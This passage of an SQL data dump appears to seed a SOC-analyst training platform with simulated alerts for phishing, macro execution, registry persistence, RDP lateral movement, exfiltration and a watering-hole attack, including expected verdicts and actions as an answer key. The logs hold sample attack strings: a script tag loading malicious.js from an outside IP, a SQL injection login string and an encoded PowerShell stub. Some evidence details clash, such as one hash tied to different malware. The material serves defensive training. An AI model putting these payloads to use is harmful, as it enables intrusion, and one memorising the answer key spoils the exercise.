Panda.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"SHA256 hash associated with PlugX malware.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"plugx_loader.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Analysis Platform\",\"verdict\":\"malicious\",\"details\":\"Executable used by PlugX malware for persistence.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal User Directory\",\"verdict\":\"internal\",\"details\":\"Username of a potentially compromised account.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'novice', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(1172, 'Initial Access via Phishing Email', 'high', 'Email security gateway logs', 'Detected a spear-phishing attempt targeting internal user via a malicious Microsoft Office document exploiting a known vulnerability. The email originated from a suspicious external IP and included a compromised document with a known malware hash.', 'Phishing', 'T1566.001', 1, 'resolved', NULL, '{\"timestamp\":\"2023-10-04T10:15:30Z\",\"email_id\":\"abc123xyz\",\"from\":\"attacker@example.com\",\"to\":\"victim@company.com\",\"subject\":\"Urgent: Action Required\",\"attachment\":{\"filename\":\"Invoice_2023.docx\",\"hash\":\"e99a18c428cb38d5f260853678922e03\"},\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"192.168.1.22\",\"user\":\"victim@company.com\",\"action\":\"quarantined\"}', '2026-02-07 21:21:24', '2026-02-23 11:19:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"IP associated with multiple phishing campaigns\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with KeyBoy malware\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"Invoice_2023.docx\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Database\",\"verdict\":\"suspicious\",\"details\":\"Filename commonly used in phishing attempts\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'beginner', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Initial Access via Phishing Email\",\"date\":\"2026-02-08T19:00:02.454Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(1173, 'Malicious Macro Execution', 'high', 'Endpoint detection and response (EDR) logs', 'Upon opening the malicious document, users unknowingly trigger a macro that executes a script, allowing KeyBoy to install a backdoor on the compromised system.', 'Execution', 'T1203', 1, 'resolved', NULL, '{\"timestamp\":\"2023-11-04T14:22:18Z\",\"event_id\":\"12345\",\"user\":\"john.doe\",\"user_domain\":\"CORP\",\"host\":\"DESKTOP-5G7H3J4\",\"file_name\":\"Invoice_2023.docm\",\"file_hash\":\"3f7a6bdf1c8b9e7e2c8d7f6a0b3a9e5c\",\"process_name\":\"WINWORD.EXE\",\"process_id\":9876,\"command_line\":\"\\\"C:\\\\Program Files\\\\Microsoft Office\\\\root\\\\Office16\\\\WINWORD.EXE\\\" Invoice_2023.docm\",\"network_activity\":[{\"destination_ip\":\"192.168.1.25\",\"destination_port\":80,\"protocol\":\"HTTP\"},{\"destination_ip\":\"203.0.113.45\",\"destination_port\":443,\"protocol\":\"HTTPS\"}],\"external_ip\":\"203.0.113.45\",\"malicious_macro\":true}', '2026-02-07 21:21:24', '2026-02-23 11:21:50', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"username\",\"value\":\"john.doe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Directory\",\"verdict\":\"internal\",\"details\":\"Corporate user\"}},{\"id\":\"artifact_2\",\"type\":\"filename\",\"value\":\"Invoice_2023.docm\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"File contains a known malicious macro\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"3f7a6bdf1c8b9e7e2c8d7f6a0b3a9e5c\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash recognized as associated with KeyBoy\"}},{\"id\":\"artifact_4\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"Known C2 server for KeyBoy malware\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\"]}', 'beginner', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(1174, 'Persistence through Registry Modification', 'medium', 'Registry change monitoring alerts', 'KeyBoy modifies registry keys to maintain persistence, ensuring their backdoor survives system reboots and remains hidden from basic security scans. Detected modification in registry to include malicious script for persistence.', 'Persistence', 'T1547.001', 1, 'new', NULL, '{\"event_time\":\"2023-10-12T14:32:45Z\",\"event_type\":\"registry_modification\",\"user\":\"jdoe\",\"user_id\":\"S-1-5-21-3456789012-3456789012-1234567890-1001\",\"src_ip\":\"192.168.1.10\",\"registry_key\":\"HKEY_LOCAL_MACHINE\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\\\\MaliciousScript\",\"registry_value\":\"C:\\\\ProgramData\\\\KeyBoy\\\\malicious_script.exe\",\"hash\":\"3f7a5c9e3c5d8d8e0f3e2c10a5b1a8f1\",\"external_ip\":\"203.0.113.45\",\"action\":\"create\",\"process_name\":\"regedit.exe\",\"process_id\":5184,\"file_path\":\"C:\\\\ProgramData\\\\KeyBoy\\\\malicious_script.exe\"}', '2026-02-07 21:21:24', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the compromised host.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"IP address associated with known malicious activity.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"3f7a5c9e3c5d8d8e0f3e2c10a5b1a8f1\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash identified as malware associated with KeyBoy APT.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"C:\\\\ProgramData\\\\KeyBoy\\\\malicious_script.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Endpoint Security Logs\",\"verdict\":\"malicious\",\"details\":\"Malicious script used for persistence by KeyBoy.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Active Directory\",\"verdict\":\"clean\",\"details\":\"User account used for registry modification.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'beginner', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-08T19:00:02.458Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"event_time\\\":\\\"2023-10-12T14:32:45Z\\\",\\\"event_type\\\":\\\"registry_modification\\\",\\\"user\\\":\\\"jdoe\\\",\\\"user_id\\\":\\\"S-1-5-21-3456789012-3456789012-1234567890-1001\\\",\\\"src_ip\\\":\\\"192.168.1.10\\\",\\\"registry_key\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\MaliciousScript\\\",\\\"registry_value\\\":\\\"C:\\\\\\\\ProgramData\\\\\\\\KeyBoy\\\\\\\\malicious_script.exe\\\",\\\"hash\\\":\\\"3f7a5c9e3c5d8d8e0f3e2c10a5b1a8f1\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"action\\\":\\\"create\\\",\\\"process_name\\\":\\\"regedit.exe\\\",\\\"process_id\\\":5184,\\\"file_path\\\":\\\"C:\\\\\\\\ProgramData\\\\\\\\KeyBoy\\\\\\\\malicious_script.exe\\\"}\"},{\"timestamp\":\"2026-02-08T18:59:02.458Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"event_time\\\":\\\"2023-10-12T14:32:45Z\\\",\\\"event_type\\\":\\\"registry_modification\\\",\\\"user\\\":\\\"jdoe\\\",\\\"user_id\\\":\\\"S-1-5-21-3456789012-3456789012-1234567890-1001\\\",\\\"src_ip\\\":\\\"192.168.1.10\\\",\\\"registry_key\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\MaliciousScript\\\",\\\"registry_value\\\":\\\"C:\\\\\\\\ProgramData\\\\\\\\KeyBoy\\\\\\\\malicious_script.exe\\\",\\\"hash\\\":\\\"3f7a5c9e3c5d8d8e0f3e2c10a5b1a8f1\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"action\\\":\\\"create\\\",\\\"process_name\\\":\\\"regedit.exe\\\",\\\"process_id\\\":5184,\\\"file_path\\\":\\\"C:\\\\\\\\ProgramData\\\\\\\\KeyBoy\\\\\\\\malicious_script.exe\\\"}\"},{\"timestamp\":\"2026-02-08T18:58:02.458Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"event_time\\\":\\\"2023-10-12T14:32:45Z\\\",\\\"event_type\\\":\\\"registry_modification\\\",\\\"user\\\":\\\"jdoe\\\",\\\"user_id\\\":\\\"S-1-5-21-3456789012-3456789012-1234567890-1001\\\",\\\"src_ip\\\":\\\"192.168.1.10\\\",\\\"registry_key\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\MaliciousScript\\\",\\\"registry_value\\\":\\\"C:\\\\\\\\ProgramData\\\\\\\\KeyBoy\\\\\\\\malicious_script.exe\\\",\\\"hash\\\":\\\"3f7a5c9e3c5d8d8e0f3e2c10a5b1a8f1\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"action\\\":\\\"create\\\",\\\"process_name\\\":\\\"regedit.exe\\\",\\\"process_id\\\":5184,\\\"file_path\\\":\\\"C:\\\\\\\\ProgramData\\\\\\\\KeyBoy\\\\\\\\malicious_script.exe\\\"}\"},{\"timestamp\":\"2026-02-08T18:57:02.458Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"event_time\\\":\\\"2023-10-12T14:32:45Z\\\",\\\"event_type\\\":\\\"registry_modification\\\",\\\"user\\\":\\\"jdoe\\\",\\\"user_id\\\":\\\"S-1-5-21-3456789012-3456789012-1234567890-1001\\\",\\\"src_ip\\\":\\\"192.168.1.10\\\",\\\"registry_key\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\MaliciousScript\\\",\\\"registry_value\\\":\\\"C:\\\\\\\\ProgramData\\\\\\\\KeyBoy\\\\\\\\malicious_script.exe\\\",\\\"hash\\\":\\\"3f7a5c9e3c5d8d8e0f3e2c10a5b1a8f1\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"action\\\":\\\"create\\\",\\\"process_name\\\":\\\"regedit.exe\\\",\\\"process_id\\\":5184,\\\"file_path\\\":\\\"C:\\\\\\\\ProgramData\\\\\\\\KeyBoy\\\\\\\\malicious_script.exe\\\"}\"},{\"timestamp\":\"2026-02-08T18:56:02.458Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"event_time\\\":\\\"2023-10-12T14:32:45Z\\\",\\\"event_type\\\":\\\"registry_modification\\\",\\\"user\\\":\\\"jdoe\\\",\\\"user_id\\\":\\\"S-1-5-21-3456789012-3456789012-1234567890-1001\\\",\\\"src_ip\\\":\\\"192.168.1.10\\\",\\\"registry_key\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\MaliciousScript\\\",\\\"registry_value\\\":\\\"C:\\\\\\\\ProgramData\\\\\\\\KeyBoy\\\\\\\\malicious_script.exe\\\",\\\"hash\\\":\\\"3f7a5c9e3c5d8d8e0f3e2c10a5b1a8f1\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"action\\\":\\\"create\\\",\\\"process_name\\\":\\\"regedit.exe\\\",\\\"process_id\\\":5184,\\\"file_path\\\":\\\"C:\\\\\\\\ProgramData\\\\\\\\KeyBoy\\\\\\\\malicious_script.exe\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1175, 'Lateral Movement using RDP', 'high', 'Network traffic analysis', 'KeyBoy APT group utilized stolen credentials to exploit Remote Desktop Protocol (RDP) for lateral movement across the network. The activity was detected targeting media organizations and NGOs, with the objective of gaining control over additional systems.', 'Lateral Movement', 'T1021.001', 1, 'resolved', NULL, '{\"timestamp\":\"2023-10-10T14:22:05Z\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"192.168.1.15\",\"protocol\":\"RDP\",\"username\":\"jdoe\",\"event_id\":\"4624\",\"logon_type\":\"10\",\"auth_package\":\"Negotiate\",\"hash\":\"e99a18c428cb38d5f260853678922e03\",\"filename\":\"KeyBoy_RDP_Exploit.exe\",\"description\":\"Successful remote logon using RDP with potentially compromised credentials.\"}', '2026-02-07 21:21:24', '2026-02-23 11:22:43', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"Known IP address associated with KeyBoy APT group activities.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal host targeted by lateral movement.\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Logs\",\"verdict\":\"suspicious\",\"details\":\"Credential potentially compromised; used in unauthorized access.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"Hash associated with KeyBoy RDP exploitation tool.\"}},{\"id\":\"artifact_5\",\"type\":\"filename\",\"value\":\"KeyBoy_RDP_Exploit.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Endpoint Detection\",\"verdict\":\"malicious\",\"details\":\"Filename identified as part of KeyBoy\'s lateral movement toolkit.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"escalate\"]}', 'beginner', 'TI', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(1176, 'Data Exfiltration to Remote Server', 'high', 'Outbound network traffic logs', 'With access established, KeyBoy begins exfiltrating sensitive documents and communications to a remote server, compromising the integrity and confidentiality of the targeted organizations.', 'Exfiltration', 'T1048: Exfiltration Over Alternative Protocol', 1, 'resolved', NULL, '{\"timestamp\":\"2023-10-15T14:23:45Z\",\"source_ip\":\"10.0.0.15\",\"source_port\":443,\"destination_ip\":\"203.0.113.45\",\"destination_port\":8080,\"protocol\":\"HTTP\",\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\",\"http_method\":\"POST\",\"uri\":\"/upload\",\"filename\":\"confidential_docs.zip\",\"hash\":\"5f4dcc3b5aa765d61d8327deb882cf99\",\"username\":\"jdoe\",\"transaction_id\":\"abc123def456\",\"file_size\":1048576}', '2026-02-07 21:21:24', '2026-02-23 11:37:33', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Database\",\"verdict\":\"malicious\",\"details\":\"Known C2 server used by KeyBoy APT\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"5f4dcc3b5aa765d61d8327deb882cf99\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Detected as malware-related hash\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"confidential_docs.zip\",\"is_critical\":false,\"osint_result\":{\"source\":\"Local File Database\",\"verdict\":\"suspicious\",\"details\":\"Unusual activity for this user\"}},{\"id\":\"artifact_4\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal User Database\",\"verdict\":\"internal\",\"details\":\"Employee of the organization\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\"]}', 'beginner', 'NDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(1177, 'Suspicious Website Activity Detected', 'high', 'Web Traffic Analysis', 'An advanced watering hole attack was detected. Malicious scripts were injected into a legitimate government website frequented by officials, establishing an initial access point in the infiltration strategy.', 'Watering Hole Attack', 'T1189', 1, 'resolved', NULL, '{\"timestamp\":\"2023-10-14T09:15:32Z\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"192.168.1.10\",\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3\",\"referrer\":\"https://gov-portal.example.com\",\"malicious_script\":\"<script src=\'http://203.0.113.45/malicious.js\'></script>\",\"hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"filename\":\"malicious.js\",\"username\":\"jdoe\",\"event_id\":\"evt-2023-1014-0001\"}', '2026-02-07 21:22:02', '2026-02-22 20:45:25', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Database\",\"verdict\":\"malicious\",\"details\":\"IP associated with previous cyber attacks\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Known malware hash\"}},{\"id\":\"artifact_3\",\"type\":\"url\",\"value\":\"http://203.0.113.45/malicious.js\",\"is_critical\":true,\"osint_result\":{\"source\":\"Open Threat Exchange\",\"verdict\":\"malicious\",\"details\":\"URL hosting malicious script\"}},{\"id\":\"artifact_4\",\"type\":\"domain\",\"value\":\"gov-portal.example.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Whitelist\",\"verdict\":\"clean\",\"details\":\"Legitimate government portal\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'advanced', 'NDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-08T19:00:02.465Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-14T09:15:32Z\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.10\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3\\\",\\\"referrer\\\":\\\"https://gov-portal.example.com\\\",\\\"malicious_script\\\":\\\"<script src=\'http://203.0.113.45/malicious.js\'></script>\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"filename\\\":\\\"malicious.js\\\",\\\"username\\\":\\\"jdoe\\\",\\\"event_id\\\":\\\"evt-2023-1014-0001\\\"}\"},{\"timestamp\":\"2026-02-08T18:59:02.465Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-14T09:15:32Z\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.10\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3\\\",\\\"referrer\\\":\\\"https://gov-portal.example.com\\\",\\\"malicious_script\\\":\\\"<script src=\'http://203.0.113.45/malicious.js\'></script>\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"filename\\\":\\\"malicious.js\\\",\\\"username\\\":\\\"jdoe\\\",\\\"event_id\\\":\\\"evt-2023-1014-0001\\\"}\"},{\"timestamp\":\"2026-02-08T18:58:02.465Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-14T09:15:32Z\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.10\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3\\\",\\\"referrer\\\":\\\"https://gov-portal.example.com\\\",\\\"malicious_script\\\":\\\"<script src=\'http://203.0.113.45/malicious.js\'></script>\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"filename\\\":\\\"malicious.js\\\",\\\"username\\\":\\\"jdoe\\\",\\\"event_id\\\":\\\"evt-2023-1014-0001\\\"}\"},{\"timestamp\":\"2026-02-08T18:57:02.465Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-14T09:15:32Z\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.10\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3\\\",\\\"referrer\\\":\\\"https://gov-portal.example.com\\\",\\\"malicious_script\\\":\\\"<script src=\'http://203.0.113.45/malicious.js\'></script>\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"filename\\\":\\\"malicious.js\\\",\\\"username\\\":\\\"jdoe\\\",\\\"event_id\\\":\\\"evt-2023-1014-0001\\\"}\"},{\"timestamp\":\"2026-02-08T18:56:02.465Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-14T09:15:32Z\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.10\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3\\\",\\\"referrer\\\":\\\"https://gov-portal.example.com\\\",\\\"malicious_script\\\":\\\"<script 